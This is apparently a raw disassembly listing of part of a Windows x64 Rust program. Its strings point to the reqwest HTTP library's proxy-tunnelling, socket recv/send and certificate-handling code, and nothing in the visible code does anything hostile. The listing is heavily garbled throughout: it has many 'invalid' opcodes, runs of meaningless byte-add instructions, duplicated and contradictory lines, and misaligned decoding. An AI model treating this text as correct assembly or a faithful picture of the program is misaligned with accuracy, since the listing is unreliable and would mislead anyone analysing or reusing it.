call fcn.140186b70
add cl, ch
mov byte [rdx], al
add byte [rax], al
add cl, ch
mov byte [rdx], al
add byte [rax], al
mov rax, qword [rbp + 0x2540]
mov qword [rbp + 0x2490], rax
lea rcx, str._async_fn__resumed_after_completion
add byte [rax - 0x77], cl
test dword [rax + 0x48000024], edx
lea ecx, str._async_fn__resumed_after_completion
lea r8, [0x1401b9960]
mov edx, 0x23
call fcn.140186b70
jmp 0x14010c01d
invalid
mov ch, 0xad
invalid
add byte [rcx + rcx*4 - 0x53], cl
push rax
and eax, 0x8b90000
mov ecx, 8
mov edx, 8
mov qword [rbp + 0x2550], r13
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 8
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x24b0], r13
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
add eax, 0xb2fc0
add eax, 0xb2fc0
mov edx, 0x22
call fcn.140186b70
lodsd eax, dword [rsi]
invalid
add cl, ch
invalid
add al, byte [rax]
invalid
lodsd eax, dword [rsi]
invalid
mov qword [rbp + 0x24b0], r13
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x23
add byte [rdx + 0x23], bh
call fcn.140186b70
jmp 0x14010c01d
mov qword [rbp + 0x24a8], r13
mov rax, qword [rbp + 0x2540]
add byte [rax - 0x77], cl
test dword [rax + 0x48000024], esp
mov dword [rbp + 0x2498], ebx
add byte [rax - 0x77], cl
test dword [rax + 0x48000024], esp
mov dword [rbp + 0x2498], ebx
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1401b99c0]
mov edx, 0x23
add byte [rdx + 0x23], bh
call fcn.140186b70
jmp 0x14010c01d
mov qword [rbp + 0x24a8], r13
mov rax, qword [rbp + 0x2540]
mov qword [rbp + 0x24a0], rax
mov qword [rbp + 0x2498], rbx
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401b99c0]
mov edx, 0x22
call fcn.140186b70
jmp 0x14010c01d
mov ecx, 1
mov edx, recv
call fcn.140186620
jmp 0x14010c01d
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x14010c01d
call fcn.1400106d0
jmp 0x14010c01d
mov rdx, qword [rbp + 0x2560]
mov byte [rdx + 0x2d5], 0
mov rcx, qword [rbp + 0x2510]
mov qword [rcx], rbx
mov qword [rcx + 8], rsi
mov byte [rcx + 0x10], dil
mov byte [rcx + 0x11], r14b
mov eax, dword [rbp + 0x2508]
mov dword [rcx + 0x12], eax
movzx eax, word [rbp + 0x250c]
mov word [rcx + 0x16], ax
mov al, 1
mov rcx, rdx
jmp 0x14010d1f3
mov r14b, 2
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x2d3], 0
mov byte [rax + 0x2d6], 0
lea rcx, [rax + 0x290]
call fcn.140069410
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x2d7], 0
cmp byte [rax + 0x2d4], 0
je 0x14010bf7a
mov rax, qword [rbp + 0x2560]
cmp byte [rax + 0x270], 2
je 0x14010bf7a
mov r8, qword [rbp + 0x2560]
mov rax, qword [r8 + 0x250]
mov rdx, qword [r8 + 0x258]
lea rcx, [r8 + 0x268]
mov r8, qword [r8 + 0x260]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x2d4], 0
mov byte [rax + 0x2d8], 0
mov byte [rax + 0x2d9], 0
lea rcx, [rax + 0x1a8]
mov dword [rax + 0x2da], 0
call fcn.14006d7b0
mov rax, qword [rbp + 0x2560]
lea rcx, [rax + 0x128]
call fcn.140069410
mov rax, qword [rbp + 0x2560]
mov rax, qword [rax + 0x198]
lock dec qword [rax]
jne 0x14010bfe6
mov rax, qword [rbp + 0x2560]
mov rcx, qword [rax + 0x198]
call fcn.140068970
mov r8, qword [rbp + 0x2560]
cmp byte [r8 + 0x190], 2
je 0x14010c016
mov rax, qword [r8 + 0x170]
mov rdx, qword [r8 + 0x178]
lea rcx, [r8 + 0x188]
mov r8, qword [r8 + 0x180]
call qword [rax + reloc.WS2_32.dll_recv]
xor edi, edi
jmp 0x14010bec7
ud2
mov eax, 0x2000
sub rax, rbx
mov r8, qword [rbp + 0x2560]
lea rdx, [r8 + rbx]
add rdx, 0x620
lea rcx, [r8 + 0x470]
mov qword [r8 + 0x2628], rcx
mov qword [r8 + 0x2630], rdx
mov qword [r8 + 0x2638], rax
mov qword [rbp + 0x20e0], rdx
mov qword [rbp + 0x20e8], rax
mov qword [rbp + 0x20f0], 0
mov qword [rbp + 0x20f8], rax
cmp dword [rcx], 2
jne 0x14010c099
add rcx, 8
mov qword [rbp + 0x2538], r13
lea r8, [rbp + 0x20e0]
mov rdx, rdi
call fcn.14016bfa0
mov r14, rdx
jmp 0x14010c0b2
mov qword [rbp + 0x2538], r13
lea r8, [rbp + 0x20e0]
mov rdx, rdi
call fcn.140111140
mov r14, rdx
test rax, rax
jne 0x14010c214
test r14, r14
jne 0x14010c21d
mov rdx, qword [rbp + 0x20e8]
mov rbx, qword [rbp + 0x20f0]
cmp rbx, rdx
ja 0x14010da5e
test rbx, rbx
je 0x14010c279
mov rax, qword [rbp + 0x2560]
add rbx, qword [rax + 0x2620]
mov qword [rax + 0x2620], rbx
cmp rbx, 0x2001
jae 0x14010da79
cmp rbx, 0xc
jb 0x14010c363
movabs rax, 0x312e312f50545448
mov r8, qword [rbp + 0x2560]
mov rcx, qword [r8 + 0x620]
xor rcx, rax
mov edx, dword [r8 + 0x628]
xor rdx, 0x30303220
or rdx, rcx
je 0x14010c166
movabs rcx, 0x302e312f50545448
xor rcx, qword [r8 + 0x620]
mov edx, dword [r8 + 0x628]
xor rdx, 0x30303220
or rdx, rcx
jne 0x14010c345
cmp dword [r8 + rbx + 0x61c], 0xa0d0a0d
je 0x14010c304
cmp rbx, 0x2000
jne 0x14010c01f
movzx eax, byte [0x14023c308]
mov ecx, 0x21
mov edx, 1
call fcn.140010630
test rax, rax
je 0x14010dba6
movups xmm0, xmmword [0x1401bee20]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1401bee10]
movups xmmword [rax], xmm0
mov byte [rax + 0x20], WSAGetLastError
mov qword [rbp + 0x20e0], rax
mov qword [rbp + 0x20e8], 0x21
mov qword [rbp + 0x20f0], 0x21
movzx eax, byte [0x14023c308]
mov ecx, 0x18
mov edx, 8
call fcn.140010630
test rax, rax
jne 0x14010c417
mov qword [rbp + 0x2550], r13
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x14010c01d
mov al, 4
mov byte [rsi], al
jmp 0x14010c5d2
mov qword [rbp + 0x20e0], r14
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010c250
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010db70
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010db70
mov rbx, rax
mov qword [rax], r14
lea rsi, fcn.140040690
jmp 0x14010c436
movzx eax, byte [0x14023c308]
mov ecx, 0x1e
mov edx, 1
call fcn.140010630
test rax, rax
je 0x14010db8b
movups xmm0, xmmword [0x1401bee3f]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x1401bee31]
movups xmmword [rax], xmm0
mov qword [rbp + 0x20e0], rax
mov qword [rbp + 0x20e8], 0x1e
mov qword [rbp + 0x20f0], 0x1e
movzx eax, byte [0x14023c308]
mov ecx, 0x18
mov edx, 8
call fcn.140010630
test rax, rax
jne 0x14010c417
mov qword [rbp + 0x2550], r13
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x14010c01d
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x61f], 0
mov r14, qword [rax + 0x470]
mov rbx, qword [rax + 0x478]
mov rsi, qword [rax + 0x480]
lea rdx, [rax + 0x488]
lea rcx, [rbp + 0x1640]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14010c43c
xor rax, qword [r8 + 0x620]
mov ecx, dword [r8 + 0x628]
xor rcx, 0x37303420
or rcx, rax
je 0x14010d9d3
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010c38f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010db3a
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, reloc.WS2_32.dll_send
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010db3a
movups xmm0, xmmword [str.unsuccessful_tunnelproxy_authentication_requiredproxy_headers_too_long_for_tunnelunexpected_eof_while_tunneling]
movups xmmword [rax], xmm0
mov dword [rax + 0xf], 0x6c656e6e
mov qword [rbp + 0x20e0], rax
mov qword [rbp + 0x20e8], reloc.WS2_32.dll_send
mov qword [rbp + 0x20f0], reloc.WS2_32.dll_send
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010c400
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010db55
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010db55
mov rbx, rax
mov rax, qword [rbp + 0x20f0]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rbp + 0x20e0]
movups xmmword [rbx], xmm0
lea rsi, fcn.140019ef0
mov r14d, 3
mov rax, qword [rbp + 0x2560]
cmp qword [rax + 0x608], 0
je 0x14010c46a
mov rax, qword [rbp + 0x2560]
mov r8, qword [rax + 0x600]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x2560]
cmp byte [rax + 0x5f8], 2
je 0x14010c4ba
mov rax, qword [rbp + 0x2560]
cmp byte [rax + 0x61d], 0
je 0x14010c4ba
mov r8, qword [rbp + 0x2560]
mov rax, qword [r8 + 0x5d8]
mov rdx, qword [r8 + 0x5e0]
mov rax, qword [rax + 0x10]
lea rcx, [r8 + 0x5f0]
mov r8, qword [r8 + 0x5e8]
mov qword [rbp + 0x24e0], r13
call rax
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x61d], 0
cmp byte [rax + 0x5d0], 2
je 0x14010c511
mov rax, qword [rbp + 0x2560]
cmp byte [rax + 0x61e], 0
je 0x14010c511
mov r8, qword [rbp + 0x2560]
mov rax, qword [r8 + 0x5b0]
mov rdx, qword [r8 + 0x5b8]
mov rax, qword [rax + 0x10]
lea rcx, [r8 + 0x5c8]
mov r8, qword [r8 + 0x5c0]
mov qword [rbp + 0x24d8], r13
call rax
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x61e], 0
cmp qword [rax + 0x5a0], 0
je 0x14010c546
mov rax, qword [rbp + 0x2560]
mov r8, qword [rax + 0x598]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x2560]
cmp byte [rax + 0x61f], 0
je 0x14010c59c
mov rax, qword [rbp + 0x2560]
cmp dword [rax + 0x470], 2
jne 0x14010c582
mov rax, qword [rbp + 0x2560]
lea rcx, [rax + 0x478]
mov qword [rbp + 0x24d0], r13
call fcn.140108d10
jmp 0x14010c59c
mov rax, qword [rbp + 0x2560]
lea rcx, [rax + 0x470]
mov qword [rbp + 0x24d0], r13
call fcn.140109150
mov r15, qword [rbp + 0x2560]
mov byte [r15 + 0x61f], 0
lea rcx, [rbp + 0x1e70]
lea rdx, [rbp + 0x1640]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + 0x61c], 1
cmp r14, 4
jne 0x14010c5e4
mov rax, qword [rbp + 0x2510]
mov byte [rax + 0x11], 3
mov al, 4
jmp 0x14010d1ec
lea rcx, [rbp + 0x538]
lea rdx, [rbp + 0x1e70]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
call fcn.1401089f0
cmp r14, 3
je 0x14010bf09
lea rcx, [rbp + 0xf70]
lea rdx, [rbp + 0x538]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x2d3], 1
mov qword [rbp + 0xf58], r14
mov dword [rbp + 0xf58], esi
mov qword [rbp + 0xf60], rbx
mov qword [rbp + 0xf68], rsi
push 0x4800000f
mov esi, dword [rax + 0x278]
cmp qword [rsi], 0
je 0x14010c677
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rbp + 0x2540], rax
mov eax, 1
mov qword [rbp + 0x2550], rax
jmp 0x14010c680
xor eax, eax
mov qword [rbp + 0x2550], rax
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx ecx, word [rsi + 0x1c]
mov edx, dword [rsi + 0x18]
mov r12, qword [rbp + 0x2560]
mov r8, qword [rbp + 0x2550]
mov qword [r12 + 0x9c8], r8
mov r8, qword [rbp + 0x2540]
mov qword [r12 + 0x9d0], r8
mov dword [rsp + 0x9d0], eax
mov qword [r12 + 0x9d8], rax
mov dword [r12 + 0x9e0], edx
mov word [r12 + 0x9e4], cx
mov rbx, qword [r12 + 0x280]
test rbx, rbx
je 0x14010d423
lea r14, [r12 + 0x9c8]
mov rsi, qword [r12 + 0x288]
mov byte [r12 + 0x2d3], 0
lea rdx, [rbp + 0xf58]
mov r8d, 0x128
mov rcx, r13
call sub.VCRUNTIME140.dll_memmove
lea rax, [r12 + 0x2e0]
mov qword [rbp + 0x2540], rax
mov qword [r12 + 0x408], r14
mov qword [r12 + 0x410], rbx
mov qword [r12 + 0x418], rsi
lea rcx, [r12 + 0x420]
lea rdx, [rbp + 0x1640]
mov r8d, 0x5a0
call sub.VCRUNTIME140.dll_memcpy
lea r13, [r12 + 0x9c0]
mov byte [r12 + 0x9c0], 0
movq xmm0, rbx
movq xmm6, r14
punpcklqdq xmm6, xmm0
lea rbx, [r12 + 0x420]
mov r8d, 0x128
mov rcx, rbx
mov rdx, qword [rbp + 0x2540]
call sub.VCRUNTIME140.dll_memcpy
movdqu xmmword [r12 + 0x548], xmm6
mov qword [r12 + 0x558], rsi
lea rax, [r12 + 0x790]
mov qword [rbp + 0x2418], rax
mov byte [r12 + 0x790], 0
mov qword [rbp + 0x2518], r13
mov byte [r12 + 0x791], 0
mov rax, qword [r12 + 0x558]
mov qword [rbp + 0x1d58], rax
movups xmm0, xmmword [r12 + 0x548]
movups xmmword [rbp + 0x1d48], xmm0
lea rsi, [rbp + 0x1c20]
mov r8d, 0x128
mov rcx, rsi
mov qword [rbp + 0x2550], rbx
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp + 0x13d0]
mov r8d, 0x140
mov rcx, rbx
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r12 + 0x798]
mov r8d, 0x140
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r12 + 0x798]
mov qword [rbp + 0x2500], rax
add byte [rbp - 0x75], cl
mov esp, 0x79824
add byte [rbp - 0x75], cl
lodsb al, byte [rsi]
and al, 0xc0
or byte [rax], al
add byte [rcx - 0x75], cl
test byte [rax + rcx*8], ah
or byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], ebp
and eax, 0x894c0000
loopne 0x14010c8b0
mov esp, dword [rsp + 0x8d0]
mov qword [rax + 0x798], 3
cmp r15, 3
je 0x14010dab2
lea rdx, [rax + 0x7a0]
lea rcx, [rbp + 0x1518]
lea ecx, [rbp + 0x1518]
mov r8d, 0x120
mov qword [rbp + 0x23e0], rdx
and eax, dword [rax]
add al, ch
cmp al, 0x9c
invalid
add byte [rcx + rcx*4 - 0x43], cl
adc byte [0xc958c8a8], dl
mov dword [rbp + 0x1638], edi
mov qword [rbp + 0x2380], 0
mov qword [rbp + 0x2398], 0
mov qword [rbp + 0x2368], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x2370], xmm0
movzx eax, byte [r13 + 0x1c]
movzx edx, byte [r13 + 0x1d]
lea ecx, [rdx + 1]
cmp dl, 4
movzx ecx, cl
mov r8d, 4
cmovae ecx, r8d
cmp dl, 5
cmove ecx, r8d
movzx r14d, cl
cmp al, 5
jne 0x14010c90d
lea rbx, [0x1401b7ea8]
jmp 0x14010c92d
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea rbx, [0x1401b7ea8]
add rbx, rax
sub r14, rax
je 0x14010d145
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010c959
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010da99
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010da99
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x2398], rsi
mov qword [rbp + 0x23a0], r14
mov qword [rbp + 0x23a8], r14
cmp qword [r13], 0
je case.0x1400dfa4d.188
mov rcx, qword [r13 + 8]
mov byte [rbp + 0x255d], 1
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rbp + 0x2520], rax
lea rcx, [rbp + 0x2368]
add byte [rax], al
xor edx, edx
call fcn.140170b90
mov rax, qword [rbp + 0x2368]
mov rcx, qword [rbp + 0x2378]
mov rdx, qword [rbp + 0x2520]
mov qword [rax + rcx*8], rdx
inc rcx
mov qword [rbp + 0x2378], rcx
mov byte [rbp + 0x255d], 1
lea rcx, [rbp + 0x2368]
call fcn.140147ce0
mov r14, rdx
test rax, rax
je 0x14010ca2c
mov byte [rbp + 0x254f], 1
lea rcx, [rbp + 0x2368]
call fcn.140111610
add byte [rax], al
add byte [rax], al
cmp r15, 2
jne 0x14010cb90
lea rcx, [rbp + 0x1518]
call fcn.140108d10
jmp 0x14010cb9c
adc eax, 0xe9e80000
ret 0xffff
mov qword [rbp + 0x2410], r14
mov qword [rbp + 0x2448], 0
mov word [rbp + 0x2488], 1
mov dword [rbp + 0x2488], 0xc7480001
test dword [rax + 0x24], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x2488], 0xc7480001
test dword [rax + 0x24], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x2438], 0
mov qword [rbp + 0x2470], 0
test dword [rax + 0x24], esi
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax + 0x24], esi
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [r13 + 0x10]
mov byte [rbp + 0x255f], 1
and eax, 0xc6010000
test dword [rsi + 0x25], ebx
add byte [rax], al
add edi, edi
adc eax, 0x82a08
invalid
and eax, 0xc6010000
test dword [rsi + 0x25], ebx
add byte [rax], al
add edi, edi
adc eax, 0x82a08
invalid
mov qword [rbp + 0x2520], rax
cmp qword [rbp + 0x2438], 0
je 0x14010caa0
mov rcx, qword [rbp + 0x2440]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov qword [rbp + 0x2438], 1
mov rax, qword [rbp + 0x2520]
mov qword [rbp + 0x2440], rax
and eax, 0x89480000
test dword [rax + 0x24], eax
add byte [rax], al
mov byte [rbp + 0x255f], 1
mov byte [rbp + 0x255e], 1
lea rcx, [rbp + 0x2438]
mov rdx, qword [rbp + 0x2528]
mov edx, dword [rbp + 0x2528]
mov edx, dword [rbp + 0x2528]
mov r8, r12
call fcn.140147f90
movzx ebx, byte [r13 + 0x18]
mov byte [rbp + 0x2488], bl
popfq
mov byte [rax + rax], ah
add byte [rcx + 0xf], al
mov dh, 0x45
sbb dword [rax + 0x248985], ecx
invalid
popfq
mov byte [rax + rax], ah
add byte [rcx + 0xf], al
mov dh, 0x45
sbb dword [rax + 0x248985], ecx
add byte [rcx - 0x80], al
invalid
invalid
jge 0x14010cb11
cmp byte [r13 + 0x1a], 0
je 0x14010d214
add byte [rdi], cl
test byte [rsi], dl
invalid
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010cb2a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010daf0
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010daf0
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, qword [rbp + 0x2460]
lea rsi, [0x1401bdbf8]
test rcx, rcx
je 0x14010d2a6
lock dec qword [rcx]
jne 0x14010d2a6
mov qword [rbp + 0x2528], rax
mov rcx, qword [rbp + 0x2460]
mov rdx, qword [rbp + 0x2468]
call fcn.14006cb50
jmp 0x14010d29f
lea rcx, [rbp + 0x1510]
call fcn.140109150
mov r13, qword [rbp + 0x2518]
mov eax, 2
mov rbx, r14
mov rsi, qword [rbp + 0x2560]
mov byte [rsi + 0x791], 1
mov qword [rsi + 0x560], rax
mov qword [rsi + 0x568], rbx
mov qword [rsi + 0x570], r14
lea rbx, [rsi + 0x578]
lea rdx, [rbp + 0xb38]
mov r8d, 0x128
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x6a0], 0
lea r14, [rsi + 0x6a8]
lea rdx, [rbp + 0xd48]
mov r8d, 0xe8
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x798]
cmp rax, 3
je 0x14010cc83
cmp eax, 2
jne 0x14010cc54
mov qword [rbp + 0x24f8], r13
mov rax, qword [rbp + 0x2540]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x24f0], rax
mov rax, qword [rbp + 0x2550]
mov qword [rbp + 0x24e8], rax
mov rcx, qword [rbp + 0x23e0]
call fcn.140108d10
jmp 0x14010cc83
mov qword [rbp + 0x24f8], r13
mov rax, qword [rbp + 0x2540]
mov qword [rbp + 0x24f0], rax
mov rax, qword [rbp + 0x2550]
mov qword [rbp + 0x24e8], rax
mov rcx, qword [rbp + 0x2500]
call fcn.140109150
mov rsi, qword [rbp + 0x2560]
mov rax, qword [rsi + 0x560]
test rax, rax
je 0x14010cd90
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
xchg esi, eax
push 0xffffffff83000005
clc
add dword [rdi], ecx
test dword [rdx], ebp
add dword [rax], eax
add byte [rcx - 0x48], al
sub byte [rdx], al
add byte [rax], al
lea rdx, [rsi + 0x568]
cmp eax, 1
jne 0x14010cdd4
mov r8d, 0x228
mov rcx, qword [rbp + 0x2500]
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rbp + 0x2550]
add byte [0x15ff8ccb9], ah
cwde
invalid
mov qword [rbp + 0x2550], rbx
mov qword [rbp + 0x2518], r13
mov rax, qword [rbp + 0x2560]
lea rcx, [rax + 0x798]
mov qword [rbp + 0x2500], rcx
mov rsi, qword [rax + 0x798]
mov qword [rax + 0x798], 2
cmp rsi, 2
je 0x14010dad3
lea rdx, [rax + 0x7a0]
lea rbx, [rax + 0x8d8]
lea rcx, [rbp + 0x1e78]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x1fb0]
mov r8d, 0xe8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1e70], rsi
mov qword [rbp + 0x1fa8], rdi
lea rcx, [rbp + 0x1c20]
lea rdx, [rbp + 0x1e70]
call fcn.140111b30
cmp qword [rbp + 0x1c20], 0
je 0x14010cde9
mov r14, qword [rbp + 0x1c28]
mov r15, qword [rbp + 0x1c30]
cmp r14, 2
mov r13, qword [rbp + 0x2518]
jne 0x14010d152
mov r12d, 2
jmp 0x14010ce6a
mov r12, qword [rsi + 0x568]
mov r15, qword [rsi + 0x570]
lea rcx, [rbp + 0xa10]
mov r8d, 0x128
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsi + 0x6a0]
lea rcx, [rbp + 0xc60]
mov r8d, 0xe8
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14010cee3
mov r15, qword [rdx]
mov r12d, 2
mov rsi, qword [rbp + 0x2560]
jmp 0x14010ceea
mov r12, qword [rbp + 0x1c28]
mov r15, qword [rbp + 0x1c30]
lea rdx, [rbp + 0x1c38]
lea rsi, [rbp + 0x20e0]
mov r8d, 0x218
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rbp + 0x1080]
mov r8d, 0x218
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x12a0]
mov r8d, 0x128
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x11b0]
lea rcx, [rbp + 0x1510]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
cmp r12, 3
mov r13, qword [rbp + 0x2518]
je 0x14010d1d0
lea rcx, [rbp + 0xa10]
lea rdx, [rbp + 0x12a0]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xc60]
lea rdx, [rbp + 0x1510]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x2500]
cmp dword [rcx], 2
je 0x14010ced0
mov qword [rbp + 0x24f8], r13
mov rax, qword [rbp + 0x2540]
mov qword [rbp + 0x24f0], rax
mov rax, qword [rbp + 0x2550]
mov qword [rbp + 0x24e8], rax
call fcn.1401098f0
xor ebx, ebx
mov rsi, qword [rbp + 0x2560]
cmp qword [rsi + 0x560], 2
je 0x14010ceea
mov byte [rsi + 0x791], 0
mov byte [rsi + 0x791], 0
lea rcx, [rbp + 0x2e8]
lea rdx, [rbp + 0xa10]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x840]
lea rdx, [rbp + 0xc60]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x790], 1
cmp r12, 3
je 0x14010d1da
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x2e8]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x758]
lea rdx, [rbp + 0x840]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x23f8], r13
mov rax, qword [rbp + 0x2540]
mov qword [rbp + 0x23f0], rax
mov rcx, qword [rbp + 0x2550]
call fcn.140109470
lea rsi, [rbp - 0x50]
lea rdx, [rbp + 0x1c0]
mov r8d, 0x128
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rbp + 0xd8]
lea rdx, [rbp + 0x758]
mov r8d, 0xe8
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [r13], 1
lea rcx, [rbp + 0x410]
mov r8d, 0x128
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x928]
mov r8d, 0xe8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp r12, 2
jne 0x14010d065
mov qword [rbp + 0x1c20], r15
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010d024
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010db12
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010db12
mov rbx, rax
mov qword [rax], r15
lea rsi, fcn.140040690
mov r14b, 2
mov rax, qword [rbp + 0x2560]
cmp qword [rax + 0x9c8], 0
jne 0x14010d4cc
jmp 0x14010d4e0
lea rcx, [rbp + 0x1c30]
lea rdx, [rbp + 0x410]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x1d60]
lea rdx, [rbp + 0x928]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1c20], r12
mov qword [rbp + 0x1c28], r15
mov qword [rbp + 0x1d58], rbx
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010d0d8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010db26
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x228
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010db26
mov rbx, rax
lea rdx, [rbp + 0x1c20]
mov r8d, 0x228
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x1640]
mov dword [rbp + 0x2508], eax
movzx eax, word [rbp + 0x1644]
mov word [rbp + 0x250c], ax
lea rsi, fcn.140111e60
xor r14d, r14d
mov rax, qword [rbp + 0x2560]
cmp qword [rax + 0x9c8], 0
jne 0x14010d4cc
jmp 0x14010d4e0
mov esi, 1
xor r14d, r14d
jmp 0x14010c970
lea rdx, [rbp + 0x1c38]
lea rsi, [rbp + 0x20e0]
